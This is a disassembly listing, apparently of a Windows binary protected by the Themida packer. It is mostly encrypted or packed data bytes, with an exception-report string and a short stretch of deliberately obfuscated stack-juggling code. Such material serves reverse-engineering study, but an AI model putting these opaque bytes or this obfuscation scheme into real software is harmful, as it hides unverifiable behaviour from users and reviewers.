		dd 47E9C08Bh, 4000001h,	31000000h, 3031392Eh, 7	dup(0)
		db    0
aExceptionInfor	db 'Exception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
		dw 0BD83h
		dd 61015BDh, 2D840F00h,	8D000001h, 12B33485h, 858D5006h
		dd 612B29Eh, 16850h, 95FF8000h,	612B344h, 3C64858Dh, 8D500613h
		dd 133C6E85h, 6A5006h, 858D006Ah, 612B2B2h, 34B5FF50h
		dd 0FF0612B3h, 10145195h, 64858D06h, 5006133Ch,	3C72858Dh
		dd 6A500613h, 8D006A00h, 12B2C485h, 0B5FF5006h,	612B334h
		dd 145195FFh, 858D0610h, 6133C64h, 7E858D50h, 5006133Ch
		dd 6A006Ah, 0B311858Dh,	0FF500612h, 12B334B5h, 5195FF06h
		dd 8D061014h, 133C6485h, 858D5006h, 6133C86h, 6A006A50h
		dd 2F858D00h, 500612B3h, 0B334B5FFh, 95FF0612h,	6101451h
		dd 3C64858Dh, 8D500613h, 133C8285h, 6A5006h, 858D006Ah
		dd 612B318h, 34B5FF50h,	0FF0612B3h, 10145195h, 64858D06h
		dd 5006133Ch, 3C76858Dh, 6A500613h, 8D006A00h, 12B32085h
		dd 0B5FF5006h, 612B334h, 145195FFh, 858D0610h, 6133C64h
		dd 7A858D50h, 5006133Ch, 6A006Ah, 0B327858Dh, 0FF500612h
		dd 12B334B5h, 5195FF06h, 0FF061014h, 12B334B5h,	8D95FF06h
		dd 0E9061005h, 0A2h, 959BD83h, 0F000610h, 9584h, 9BD8300h
		dd 61022h, 11850Fh, 958B0000h, 6102955h, 1CF8C281h, 0FE90000h
		dd 8D000000h, 100CB595h, 34528B06h, 0C340C281h,	95893BD4h
		dd 6100701h, 701BD83h, 0F000610h, 5584h, 19D8B00h, 83061007h
		dd 38B4CC3h, 3C6E8589h,	9D8B0613h, 6100701h, 8B50C383h
		dd 72858903h, 8B06133Ch, 1007019Dh, 54C38306h, 8589038Bh
		dd 6133C7Eh, 7019D8Bh, 0C3830610h, 89038B58h, 133C8285h
		dd 19D8B06h, 83061007h,	38B5CC3h, 3C768589h, 0BD830613h
		dd 61015BDh, 0D850F00h,	83000000h, 100959BDh, 840F0006h
		dd 68h,	3C86B5FFh, 0B5FF0613h, 6133C7Ah, 3C76B5FFh, 0B5FF0613h
		dd 6133C82h, 3C7EB5FFh,	0B5FF0613h, 6133C72h, 3C6EB5FFh
		dd 858D0613h, 6133C68h,	0A0858D50h, 5006133Ch, 2B01858Dh
		dd 0FF500610h, 10025195h, 24C48306h, 858D406Ah,	6133C8Ah
		dd 1858D50h, 5006102Bh,	95FF006Ah, 61012F5h, 95FF016Ah
		dd 61009ADh, 0BE8C18Bh,	0AE000000h, 0B65CE155h,	0E4738EE0h
		dd 8C0FE927h, 0Bh, 0B8E68060h, 0BA74D181h, 5F615B91h, 6ACD8060h
		dd 62D88166h, 0C7816197h, 5F48h, 0C680C033h, 3834FFDEh
		dd 0FE9h, 0CBB6E900h, 990EEF2h,	55251F25h, 0B907AFB6h
		dd 0F3816659h, 0E9811358h, 1021945Fh, 5D1EBE66h, 8274F181h
		dd 0E95058ABh, 6, 0DB84E4B2h, 815BB6B2h, 0CAFBEEF1h, 0C89F565h
		dd 51DB8007h, 8338F780h, 0E38102E8h, 0FB8E10Bh,	8B664848h
		dd 7CF881D6h, 0FFFFFA1h, 1B85h,	8B665300h, 28E95ADEh, 0AF000000h
		dd 9A4A1CDDh, 0CB3C18D9h, 90D78930h, 76413D18h,	0BBADBA66h
		dd 0FFFF78E9h, 0C88E6FFh, 2D39E78Eh, 352D7A32h,	60AC71B1h
		dd 0E8D78B66h, 13h, 7AB4E3F2h, 0A312185Fh, 2EBAFC7Fh, 880E05C2h
		dd 0E82F03A4h, 13h, 0E302B385h,	6D272884h, 5D56EC79h, 0EB7F286Ch
		dd 66F3ED26h, 0FB2DDA81h, 0C08B5A59h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0EFC35242h,	0AD1C0E51h, 83F08B29h
		dd 10158DBDh, 9750006h,	95BD83h, 74000610h, 8B535019h
		dd 40EB8C0h, 85890000h,	6100E65h, 0B8159D8Dh, 0D3FF0612h
		dd 0BD83585Bh, 6100095h, 50177400h, 40EB853h, 85890000h
		dd 6100E65h, 0B5049D8Dh, 0D3FF0612h, 0E180585Bh, 52006A0Fh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 36BC3496h, 84952B71h, 0B966F56Ah, 0C08B4C1Dh, 83F0BF0Fh
		dd 103105BDh, 840F0006h, 17h, 7E9h, 0B4C04800h,	60E70F41h
		dd 2FEE9h, 98C98100h, 8C505C64h, 0AE9DFh, 95D0000h, 0D8F0A148h
		dd 432A13E7h, 4C7F766h,	0DC850F00h, 6A000002h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 830FC357h, 1022E5BDh, 850F0006h, 97h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 75C35242h, 0FE8h
		dd 2B47F200h, 98F92E13h, 44CCDB8Eh, 0F9FA91E8h,	0EAE68166h
		dd 840F5ACAh, 19h, 14E9h, 0D2F85000h, 0BFFD9D19h, 8AEC0D4Fh
		dd 0C500B961h, 8426E09Eh, 259E9CDh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 9DED40C3h
		dd 25025569h, 0F181665Ah, 10E92B3Bh, 7E000000h,	6E52CDB3h
		dd 47DD9002h, 6D5AEEDCh, 2B47B9EEh, 0D98166FFh,	9D8D9B7Ah
		dd 6134467h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	4DC35545h, 0ED9637C1h, 623DAB63h, 3860F17h, 80000000h
		dd 0BE66D6D6h, 6650B10Ah, 89245FB9h, 850F241Ch,	0Ah, 815F5260h
		dd 5F032ED2h, 0FF646163h, 35h, 5860F00h, 66000000h, 0A7EBC981h
		dd 258964h, 0B6000000h,	81C48BA9h, 9E2AC9EAh, 0EB01CD57h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 3BA2E123h, 2890F67h, 8A000000h, 5E8D1h
		dd 0B4CB0000h, 0E94FE862h, 9, 5F1C6E5h,	360A387Bh, 8F645A67h
		dd 5, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 4814C7C7h, 0E3DEC142h, 4C48380h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A5C35646h
		dd 2CD23DDBh, 0B1CDDAFh, 4840FC0h, 0BE000001h, 3320850Ah
		dd 57006A61h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0A2727453h, 0A3BD8DAEh, 0E8061073h, 11h
		dd 2063F439h, 5EF6ED3Bh, 6FBA1F74h, 0F6E41423h,	0BE807h
		dd 6CB00000h, 0B025206Dh, 32A710F5h, 13E87Ch, 67420000h
		dd 0A7D7664Ch, 0BB0C0353h, 0DB6DC96Eh, 43C82265h, 5E5E5EC8h
		dd 1B8h, 68B9B900h, 0C2813C4Dh,	784756B9h, 6AE7FFh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 8B57A7C3h, 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h
		dd 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9FC35141h, 0E5FC40E2h
		dd 0E8AA81EEh, 13h, 0FDAD48E5h,	3DB6C30Fh, 0BC8E33DFh
		dd 0D13CDED0h, 0FD981EFh, 588h,	0D2816600h, 615A4EC3h
		dd 0DE9h, 16F0800h, 0C65BA70Fh,	6612ED9Fh, 0C08B1D0Dh
		dd 83F08B66h, 10158DBDh, 9750006h, 95BD83h, 74000610h
		dd 8B535019h, 40EB8C0h,	85890000h, 610132Dh, 0B87C9D8Dh
		dd 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h,	40EB853h
		dd 85890000h, 610132Dh,	0B51D9D8Dh, 0D3FF0612h,	6A585Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 772B0BC3h, 0F469BEB9h, 6A0863h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 596457C3h, 0DD38F480h
		dd 0E9DE6FBFh, 0Bh, 2B69DB71h, 97CCDC2Dh, 0F523B354h, 56BFBE66h
		dd 13E9C08Bh, 0A0000000h, 0F00D8BCEh, 0EBA2B1B4h, 0D8485A5Bh
		dd 62BFBACFh, 0C28B0211h
		dd 0F31718EBh, 9B46h, 4	dup(0)
		dd 0BE90000h
		db 2, 2	dup(0)
aLS		db '`‹\$$è',0           ; DATA XREF: Themida_:0054E734o
		align 10h
		dd 0ED815D00h, 61345D6h, 4C261h, 0FFFFE6E9h, 0C26160FFh
		dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 0EB58BFFh, 81061346h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 12B53B00h, 0F061346h
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 701858Bh, 18860610h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 0C995FF08h, 50061032h, 244C010Fh,	0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 701858Bh, 0C60610h, 4FF5800h, 4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 6100701h,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 6100E6Dh,	0
aLdLs		db '‹D$',8,'‹˜',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 6D85C700h, 6100Eh
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 0B385C700h
		dd 1061345h, 50000000h,	244C010Fh, 0B7858FFEh, 8D061345h
		dd 1345AF85h, 0B7BD8D06h, 89061345h, 23E938h, 858D0000h
		dd 6100CB5h, 538408Bh, 9B46F317h, 45AF8589h, 858D0613h
		dd 6100CB5h, 893C408Bh,	1345B385h, 0CC858D06h, 89061345h
		dd 1032C985h, 87E906h
		db 2 dup(0)
word_57FCAA	dw 8B52h		; DATA XREF: Themida_:0054BDE4o
		dd 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h
		dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h
		dd 728BDB33h, 0C4A8B08h, 13E9h,	2D3CAC00h, 0A840Fh, 98040000h
		dd 0D8321334h, 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh
		dd 8C25A5Eh, 3F858D00h,	89061348h, 10097985h, 67858D06h
		dd 89061348h, 101E9985h, 8F858D06h, 89061348h, 100CAD85h
		dd 8EB06h, 0
		dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 10220985h
		dd 7858D06h, 8B061379h,	888B08h, 8B000010h, 4A8B660Ah
		dd 0F08D89FCh, 83061348h, 1022E5BDh, 840F0006h,	0Fh, 0FF006A60h
		dd 1031C995h, 0C4E96106h, 66FFFFFFh, 0C1FC7289h, 896610CEh
		dd 0CD520272h, 85895A04h, 61348ECh, 48F0B58Bh, 0CEC10613h
		dd 72896610h, 0F0B58B02h, 66061348h, 61FC7289h,	48EC858Bh
		dd 8DC30613h, 10172195h, 1958906h, 89061007h, 1010C595h
		dd 0C585FF06h, 0C6061010h, 1023E585h, 0D8685306h, 0FFFCB148h
		dd 101499B5h, 32858D06h, 0FF06103Ah, 0C98589D0h, 8D061031h
		dd 1345E685h, 0B9858906h, 0EB061006h, 5A4E900h,	98E90000h
		dd 68000005h, 6134AA7h,	0FD369FE9h, 4BBB68FFh, 95E90613h
		dd 68FFFD36h, 6134C2Dh,	0FD368BE9h, 4CF068FFh, 81E90613h
		dd 68FFFD36h, 6134DFCh,	0FD3677E9h, 478A3CFFh, 255C0493h
		dd 427B32A9h, 1F5C0F86h, 39782CABh, 97B8785h, 25B42867h
		dd 10874384h, 2CAB1F5Ah, 9F8A3E73h, 3554EE9Dh, 33B06BDFh
		dd 5F04D769h, 27F93419h, 668AA1DAh, 0EAA1B6BAh,	6DCC695Ch
		dd 0CC6901C1h, 6957EE6Dh, 608D6DCCh, 0F711B44Eh, 0AF5C7195h
		dd 6DCC7B17h, 0CC7B4FF8h, 7B16B06Dh, 0C251EDCCh, 7F444719h
		dd 97E7FC28h, 0AE9FC19Bh, 226D6CE6h, 0E95950F1h, 0D142355h
		dd 9B183511h, 205F11E7h, 5D118844h, 72816E22h, 1B949769h
		dd 0B31E133Bh, 1855FAC1h, 0A121086Ch, 451E136Fh, 0EA600DE9h
		dd 0A4C03AD3h, 40FE7F0h, 0DB8B0000h, 0EF952498h, 0D07504B8h
		dd 0EF942397h, 0CD7FF6B2h, 0D02C1A8Eh, 0FBAFEEA2h, 0D488C97Ch
		dd 0F266A145h, 0D387BC63h, 9D25E4D8h, 796BDF36h, 7932B07Ch
		dd 0BC095044h, 666DCC7Ch, 63A44514h, 397018AFh,	0F00DE94Dh
		dd 0D912B44Bh, 973A778Bh, 0A1C6AA56h, 587503EBh, 3BEF24DBh
		dd 22CE03BCh, 0DBC7FCA3h, 0DF46DD7Eh, 8437F328h, 336AF829h
		dd 37B09h, 62493700h, 6DCC4EE0h, 79532804h, 0B49296D7h
		dd 3CAB20C9h, 68DB6722h, 0DF3B6DCCh, 659A510Ah,	685DEAB1h
		dd 390A6DCCh, 0AFE49B9Ah, 7D2C10FBh, 6DCC68C5h,	0B02B4521h
		dd 52CEC2F7h, 5C128975h, 752EAD21h, 5D5F5440h, 984FC682h
		dd 7518AF63h, 68F74B3Eh, 9F486DCCh, 0C2BAB66Ah,	0ECCE8A66h
		dd 68AB1712h, 344B6DCCh, 5B70548Dh, 0CC6816B0h,	809FCC6Dh
		dd 1E9DD7D7h, 8425AECBh, 53624F43h, 532B9792h, 0B4CB6DCCh
		dd 4125D110h, 7C2F4125h, 67FC2553h, 3E0AAFABh, 0F04A15E1h
		db 24h,	0B3h, 0FBh
byte_580023	db 2			; DATA XREF: Themida_:0054C800o
		dd 0D7770000h, 0EBA11894h, 0CC81F8B4h, 0EBA01793h, 0C97BFAAEh
		dd 0ACD8CE8Ah, 8F4B8A3Eh, 0A8246508h
		db 31h,	7Dh
word_580046	dw 8642h		; DATA XREF: ___:off_43285Co
					; ___:00432864o ...
		dd 0A723580Fh, 71D1B8C4h, 956BDF37h, 79328C18h,	92395044h
		dd 7F32A95Dh, 23DB8A3Eh, 0C46DCC7Ch, 6DCC0C7Ah,	2DD91ACBh
		dd 338CC07Eh, 0C8787F92h, 0EE00E425h, 77E4CFDh,	637811E8h
		dd 46318E7Dh, 51CD9803h, 0AFE6AECh, 4750444Ah, 289h, 0A6226505h
		dd 8642792Fh, 0AD215A0Fh, 803C792Eh, 0A41857F9h, 84285AA6h
		dd 5F128945h, 772BAA1Eh, 52F9803Ch, 0D2AEA11Dh,	0DF306BD7h
		dd 860E8B6Bh, 50447932h, 0A95D9239h, 0F130CFF4h, 9649053Ah
		dd 336B363Bh, 21F1Bh, 44027100h, 0D96DCC7Ch, 213DF135h
		dd 991CC71Eh, 0F336A22h, 2B661C9Bh, 98C80577h, 64FFBBC5h
		dd 17CB8865h, 0A0548B41h, 0BCEA0C4h, 0F8721E55h, 0CCABB111h
		dd 0FDD9556Dh, 4F3C0CD0h, 0ACC1A9A3h, 67FE9DFAh, 11CD08BEh
		dd 6A50834Eh, 596333h, 0DE5D0000h, 1F03EF26h, 0BD5C824Ah
		dd 0DA8D4C1Eh, 35114C02h, 0F008E541h, 0FC7DF439h, 31969267h
		dd 4A0A3F3Bh, 0C6B821F5h, 42000001h, 0A914D90h,	28AF2B62h
		dd 5944881h, 32A92562h,	9D8B3F7Eh, 1251F361h, 2D6E1F96h
		dd 49842AB1h, 285D0695h, 0C4C7B9B4h, 6BDF307Eh,	32931996h
		dd 0E2854479h, 0C3C6BAA5h, 6DCC7C67h, 0B8CFC39Fh, 0D463D712h
		dd 0E7E4F62Bh, 22B0E9ABh, 7D293EE8h, 0F5697688h, 0C985C066h
		dd 0B0649952h, 83377819h, 8425B488h, 57522643h,	6DCC17EBh
		dd 9630F0Bh, 86639A52h,	9B4418CDh, 9AB6BA66h, 0CC7D3C1Eh
		dd 0BE9B978Bh, 55419E1Fh, 0E2568F36h, 0CC179B23h, 9C3FD66Dh
		dd 7A9AC7C2h, 0EA3C67FCh, 8F83B86Fh, 295EE493h,	0BAB6943Ch
		dd 1F9AC496h, 9E153269h, 7CFBAFE6h, 663CF2C4h, 989C88BDh
		dd 0F3C698BCh, 9CD17A4Eh, 9368CCB8h, 134EF493h,	93CA8239h
		dd 0B86683DFh, 1251F3C6h, 85C6675Eh, 1ECF8C61h,	0FBB229DDh
		dd 0D2E1CEC2h, 0D734F709h, 8D9E0C47h, 29DD18CEh, 82ED204Dh
		dd 44CD1C72h, 52F77327h, 400597D4h, 0BAD9CADAh,	36000000h
		dd 5EDD5194h, 3CBB6FA6h, 9904C85h, 26B52966h, 0A1874382h
		dd 1655F765h, 317213A2h, 0D48FE7Dh, 0EC21CA51h,	88837D70h
		dd 6BDF313Ah, 0D737FDDAh, 9BBDC496h, 0BB90D7D8h, 5E124700h
		dd 978BC067h, 29DB5EC2h, 540303E1h, 886CA6F8h, 0C3C6989Ch
		dd 6DCCBD7Fh, 0DDBE9B97h, 0F328DF46h, 907B6537h, 6DCCBD32h
		dd 0CE05BBD2h, 0CF22D5F2h, 0AF336A74h, 24h, 7C45021Dh
		dd 617F6DCCh, 0B532AA6Ch, 1A01175Fh, 6DCC4CA8h,	5493354Ch
		dd 27E05B70h, 0BCD36F2h, 3F000000h, 0CC7C4402h
dword_580304	dd 0FD32D96Dh, 2321AB41h, 0C96A1657h, 211447F1h, 79D4Ch
					; DATA XREF: Themida_:0054CB60o
		dd 552B0000h, 0C5A2E386h, 3D8032FFh, 64995249h,	3A7519B0h
		dd 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h, 5B943950h
		dd 417830A7h, 5457CF55h, 4C7815Fh, 83000000h, 3C8704EFh
		dd 89535C24h, 4C381E3h,	83000000h, 1C8704EBh, 34895C24h
		dd 6C306824h, 0C890000h, 0D37BE24h, 0EE83153Eh,	40EE8101h
		dd 680F2AC3h, 2A86h, 81242489h,	42404h,	50590000h, 4189F089h
		dd 24048B08h, 8B04C483h, 8950240Ch, 405E0h, 4050000h, 87000000h
		dd 0FF5C2404h, 835E2434h, 1DE904C4h, 0E2FFFD31h, 0FD5D818Bh
		dd 8C2367FFh, 0B84B8D65h, 6134EDBh, 0D18BC503h,	51E9h
		dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h
		dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h
		dd 158F0Fh, 0EA830000h,	0C428B28h, 2B144A8Bh, 89F82BC1h
		dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h,	0FFE9E9FFh
		dd 3EBAFFFFh, 0EB0009FDh, 20h, 7 dup(0)
		dd 59FE900h, 93E90000h,	68000005h, 61351ADh, 0FD3077E9h
		dd 525768FFh, 6DE90613h, 68FFFD30h, 61353FEh, 0FD3063E9h
		dd 546E68FFh, 59E90613h, 1EFFFD30h, 26B5296Ch, 493477Eh
		dd 31A8245Dh, 0E8D417Eh, 0A99F1B5Ah, 3E7D2F5Dh,	195A0B8Ah
		dd 357016A5h, 14490279h, 0E0CBB598h, 6BDF2C62h,	329F2582h
		dd 0C605A77Bh, 607A56DAh, 7C378B7Eh, 53CF6DCCh,	0D6F32ED4h
		dd 7CC58128h, 8B28EDCCh, 3120F1F4h, 4100B36Bh, 0FE000000h
		dd 2E4B883Bh, 7C450296h, 0F5046DCCh, 6FEA14E6h,	940E8B8h
		dd 203D191Dh, 0FBCCF963h, 1A11EF67h, 9420CCA8h,	17C9C74Ch
		dd 0DAD88A8Eh, 4521E1F6h, 2E2089h, 2B200000h, 0F4AF72B0h
		dd 0CD5774ABh, 0CC7C4402h, 4CF4036Dh, 0D2AC5899h, 0CC7C6BD7h
		dd 0B38F8B6Dh, 48FEBD8Fh, 2108F00Dh, 67FBCC87h,	187431Fh
		dd 4E427B32h, 0CC7CBC07h, 0B7C9B3EDh, 0CC7C4EF4h, 0ADCAA6EDh
		dd 1A53770Eh, 6D375328h, 701CF255h, 0B3BF1744h,	65114C02h
		dd 4B08E501h, 0B8835D96h, 5A953915h, 0D1A68A76h, 0B827B80Dh
		dd 3C5A5A6h, 950578Eh, 0A11D0CF4h, 3DEDCC87h, 0ED9635E1h
		dd 56A5A6B8h, 28B501FEh, 54EE9DAFh, 0B0EDCC0Fh,	3D1F97B4h
		dd 9F43BC10h, 0D6F3DB75h, 1CD07087h, 294D29DDh,	10F35457h
		dd 740BE7FCh, 85E195CCh, 58E6B561h, 0BB142390h,	418C6908h
		dd 21B97B3Eh, 7Eh, 1EBD5C6Bh, 2A7324Ch,	7C60E2C9h, 0CBD6DCCh
		dd 0A35BD7CBh, 215810C7h, 4DCF175h, 0FBC5B005h,	0F8D24E67h
		dd 0A5518E41h, 5D4ACC1h, 26B5295Eh, 2C5F3F7Dh, 949B39F4h
		dd 0B195B1F0h, 9C81E0Ch, 9304104Ah, 314h, 26A2E585h, 6C2F9AFh
		dd 2DA1DA8Fh, 0BCF9AEh,	2498D779h, 4A8DA26h, 0DF9209C5h
		dd 0F7AB2A9Eh, 0D27900BCh, 522E219Dh, 0DF2DEB57h, 68E0B6Bh
		dd 2DF40h, 7B328C00h, 0BF074E42h, 356DCC7Ch, 7358E038h
		dd 0CCA1CDBBh, 0CC5BE7DFh, 5AB9086Dh, 0E4626DCCh, 0DE6DCC5Ah
		dd 906DA65Bh, 0CC5A2B93h, 5A72CC6Dh, 0E6EDADCCh, 0F230DBF5h
		dd 9227FB51h, 53F5C496h, 0E7046014h, 0B084537h,	0C7AF507Dh
		dd 226E3EA4h, 5D230B35h, 5D6DD80h, 7EB740EBh, 532D5E11h
		dd 112AEA58h, 390E0A5Eh, 9880ED49h, 0B6803890h,	26AF5DEh
		dd 2BDB0000h, 3FE574E8h, 20C55408h, 3FE473E7h, 1DCF4602h
		dd 7C6ADEh, 6BDF1ED2h, 44F839ECh, 62D611B5h, 43F72CD3h
		dd 0DB57448h, 0E96BDF2Eh, 4D7400Ch, 0F470245Dh,	7C932FDAh
		dd 0F7736DCCh, 7DB259E2h, 7C24B789h, 3ED52845h,	0B8C8C39Dh
		dd 5867FBCBh, 34D960DCh, 11B83FFBh, 40D72CD8h, 0A2CAC19Bh
		dd 629E177Bh, 2B935206h, 269E151Ch, 39324C8Fh, 7C5CAEFBh
		dd 63A445F4h, 93966A7Fh, 942294F1h, 215C1289h, 0AAC607AAh
		dd 2D6209D0h, 4C812AB1h, 73A51158h, 35C4800Ah, 47D5D4A6h
		dd 5F8A3DC3h, 0E0D37FFAh, 4A26B53Ah, 0A81D4E30h, 0E0EB340h
		dd 0F02BDF56h, 7CA760DBh, 7E33358Dh, 7155D18Ah,	50853EBDh
		dd 3359F5A4h, 1188A7Eh,	0EDDE00DAh, 0CE4D6F12h,	0CEB592E9h
		dd 8049E8AEh, 3900DA56h, 0DE09C292h, 52AF972Bh,	0CFF36F8Ch
		dd 7C037F3h, 23E6F8D2h,	8C52AF9Fh, 2AE1FB77h, 8C52AF98h
		dd 0DBCBA07Ch, 0FC31DA61h, 0AF9B27E2h, 9F7B8C52h, 369C3BCAh
		dd 0FFEA0D71h, 738D69C8h, 65DE2CB8h, 9668C486h,	3AE61DC3h
		dd 36652136h, 0B646BE88h, 0C4B0E79Dh, 964E1EC5h, 93AFB35Fh
		dd 0A73EF5DFh, 0BEDA6823h, 0DE3AB646h, 0C3621102h, 0E073CB26h
		dd 11AB57h, 0D7210000h,	45225F04h, 0CC19E05Eh, 14436Dh
		dd 2B90000h, 6DCC1644h,	0CA09BB7Eh, 9A49F9B0h, 0B1AD9233h
		dd 0BD5C109Ch, 275D4C1Eh, 0BF67FBCBh, 0B342AF63h, 4F01DB8Dh
		dd 0E4006410h, 323BEE00h, 0CC9E10B7h, 6113EB50h, 899D4039h
		dd 0C320h, 4F923400h, 6DA45CDBh, 8AC36AF1h, 67A447CEh
		dd 81C064F3h, 31A3DFCDh, 0D8C407Fh, 189F1B5Ch, 0F4833772h
		dd 0A7A2164Bh, 2F6CD6D5h, 2B886BDFh, 1EBD5CA1h,	3A7324Ch
		dd 8358DCC8h, 0FBCBF888h, 0C29C9867h, 0CC55ED9Ch, 0B5B19420h
		dd 0FA19E698h, 0BE460BD8h, 5DD9CD08h, 0CE8A9270h, 0F431D8F2h
		dd 929E10C1h, 7B533196h, 0C9DD4039h, 53E0h, 0DF22C400h
		dd 0FD34EC6Bh, 0DA13BA41h, 0F734D75Eh, 0D110B443h, 0E1136F5Dh
		dd 0BD3CF02Fh, 880FCB0Ch, 0A433A7E2h, 1712C6FBh, 28DC6625h
		dd 0BB386BDFh, 5C04D7F1h, 0D8F57125h, 1769h, 96D7E300h
		dd 144CC013h, 0C0F7ADB7h, 63DFCAA4h, 836DCC85h,	8436D2A7h
		dd 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh, 533F7E32h
		dd 0A5519034h, 50448126h, 0A75B9439h, 55417830h, 5D5455CFh
		dd 4C581h, 0ED830000h, 242C8704h, 0E089505Ch, 405h, 4E88300h
		dd 5C240487h
		db 89h,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	3E3Bh
		mov	[esp], ebx
		push	669F7990h
		pop	ebx
		neg	ebx
		xor	ebx, 3B8637E2h
		xor	ebx, 0A4F5E186h
		mov	ebp, ebx
		pop	ebx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	edx
		mov	edx, ebp
		mov	esi, edx
		pop	edx
		mov	[ecx+8], esi
		pop	esi
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		dd 0E6B80BE3h, 3061354h, 0E9C88BC5h, 143h, 543B7E8Ah, 0DA95ECE7h
		dd 6715893h, 0BEB6CFDFh, 365D54FDh, 0BCECA436h,	0C55DD500h
		dd 0D676D352h, 0FC94A4h, 0C1AEC441h, 5277CB50h,	9CACAC32h
		dd 6C46BF00h, 7390ADFCh, 0D6A33659h, 9C72E275h,	0DD0090BDh
		dd 9B8CE693h, 64A592A7h, 92A7ABDDh, 7A918F97h, 0B9F95CFCh
		dd 9BB1E496h, 9F47E4B5h, 0B6E592B6h, 9EBDF694h,	96B3EBB5h
		dd 9C93D0ECh, 7B97BF99h, 89F55CFDh, 0EDAFF493h,	0E3B2CD00h
		dd 0D4E594A6h, 5700C3B5h, 0F3622D44h, 38AE29B0h, 3C000000h
		dd 40000000h, 2	dup(0)
		dd 4000000h, 94000000h,	5000000h, 1000000h, 28000000h
		dd 200000Ah, 22h dup(0)
		dd 0E9000000h, 2103h, 1358EA68h, 298EE906h, 1668FFFDh
